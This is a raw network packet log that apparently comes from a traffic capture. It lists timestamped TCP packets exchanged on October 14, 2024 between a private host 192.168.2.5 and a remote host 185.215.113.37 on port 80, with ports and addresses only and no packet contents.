Oct 14, 2024 13:08:17.495464087 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.495477915 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.495501041 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.495516062 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.495548010 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.495560884 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.495585918 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.495606899 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.495650053 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.495665073 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.495682955 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.495688915 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.495699883 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.495706081 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.495722055 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.495738029 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.496222019 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.496236086 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.496251106 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.496264935 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.496269941 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.496279001 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.496294975 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.496313095 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.496521950 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.496535063 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.496557951 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.496565104 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.496576071 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.496577978 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.496592999 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.496608973 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.496609926 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.496628046 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.496640921 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.496661901 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.496787071 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.496810913 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.496826887 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.496829033 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.496844053 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.496845007 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.496860981 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.496862888 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.496876955 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.496882915 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.496898890 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.496915102 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.622742891 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.622798920 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.622814894 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.622831106 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.622978926 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.623063087 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.623120070 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.623135090 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.623143911 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.623148918 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.623176098 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.623202085 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.624315023 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.624334097 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.624350071 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.624377012 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.624382019 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.624396086 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.624402046 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.624419928 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.624433041 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.624438047 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.624454021 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.624469042 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.624473095 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.624490976 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.624511003 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.624530077 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.624547958 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.624573946 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.624574900 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.624591112 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.624591112 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.624608994 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.624615908 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.624630928 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.624649048 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.624650955 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.624669075 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.624691963 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.624705076 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.624752998 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.624793053 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.624972105 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.624986887 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.625004053 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.625013113 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.625029087 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.625077963 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.625102997 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.625118017 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.625135899 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.625140905 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.625159025 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.625171900 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.625190020 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.625205994 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.625221968 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.625226974 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.625241041 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.625246048 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.625260115 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.625264883 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.625283003 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.625297070 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.625374079 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.625415087 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.625494957 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.625514030 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.625536919 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.625539064 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.625551939 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.625555992 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.625571966 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.625577927 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.625595093 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.625607014 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.625912905 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.625929117 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.625945091 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.625962019 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.625973940 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.625983000 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.625988960 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.626003027 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.626014948 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.626019001 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.626040936 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.626055956 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.626106977 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.626121044 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.626137972 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.626147032 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.626153946 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.626164913 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.626176119 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.626195908 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.626205921 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.626239061 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.626245975 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.626255035 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.626276970 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.626288891 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.626348019 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.626385927 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.626416922 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.626434088 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.626451015 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.626456022 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.626471043 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.626471996 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.626485109 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.626509905 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.752495050 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.752536058 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.752568960 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.752571106 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.752593040 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.752619028 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.752706051 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.752742052 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.752768040 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.752777100 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.752788067 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.752825022 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.753657103 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.753710985 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.753716946 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.753762007 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.753770113 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.753806114 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.753820896 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.753856897 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.753896952 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.753952026 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.754091024 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.754147053 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.754158974 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.754180908 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.754208088 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.754215002 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.754226923 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.754266024 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.754271030 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.754311085 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.754328966 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.754355907 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.754365921 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.754399061 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.754414082 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.754437923 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.754456997 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.754477978 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.754492044 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.754514933 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.754529953 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.754550934 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.754563093 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.754587889 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.754600048 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.754643917 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.754646063 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.754683971 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.754693031 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.754731894 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.754777908 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.754813910 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.754834890 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.754848957 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.754862070 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.754889011 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.754895926 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.754939079 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:18.138700008 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:18.145104885 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:18.866787910 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:18.866883039 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:18.970648050 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:18.975719929 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:19.696799994 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:19.696887970 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:20.522959948 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:20.528441906 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:21.511322975 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:21.511394978 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:22.149003029 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:22.292762041 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:22.511185884 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:22.511221886 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:22.511231899 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:22.511285067 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:22.511311054 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:22.511317015 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:22.511346102 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:22.511351109 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:22.511354923 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:22.511370897 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:22.511378050 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:22.511382103 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:22.511395931 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:22.511408091 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:22.511415005 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:22.511492014 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:22.511512995 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:22.511523008 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:22.511533976 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:22.511554956 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:22.511560917 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:22.511570930 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:22.511576891 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:22.511578083 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:22.511585951 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:22.511596918 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:22.511624098 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:22.644473076 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:22.644512892 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:22.644534111 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:22.644547939 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:22.644553900 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:22.644579887 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:22.644584894 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:22.644614935 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:22.644619942 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:22.644649029 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:22.644651890 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:22.644681931 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:22.644711018 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:22.644722939 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:22.644745111 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:22.644763947 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:22.644778013 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:22.644790888 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:22.644812107 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:22.644823074 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:22.644848108 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:22.644851923 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:22.644880056 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:22.644912958 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:22.644915104 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:22.644944906 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:22.644952059 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:22.644979954 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:22.644984961 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:22.645011902 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:22.645016909 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:22.645045996 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:22.645052910 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:22.645076990 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:22.645086050 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:22.645108938 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:22.645121098 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:22.645137072 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:22.645152092 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:22.645169973 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:22.645175934 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:22.645203114 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:22.645212889 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:22.645234108 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:22.645237923 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:22.645267963 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:22.645272970 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:22.645299911 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:22.645308971 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:22.645335913 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:22.645339966 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:22.645737886 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:22.770409107 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:22.770447969 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:22.770482063 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:22.770483971 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:22.770529985 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:22.770530939 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:22.770564079 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:22.770591974 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:22.770610094 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:22.770615101 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:22.770648003 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:22.770679951 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:22.770680904 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:22.770692110 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:22.770730972 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:22.770755053 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:22.770765066 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:22.770768881 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:22.770797014 CEST	80	49704	185.215.113.37	192.168.2.5
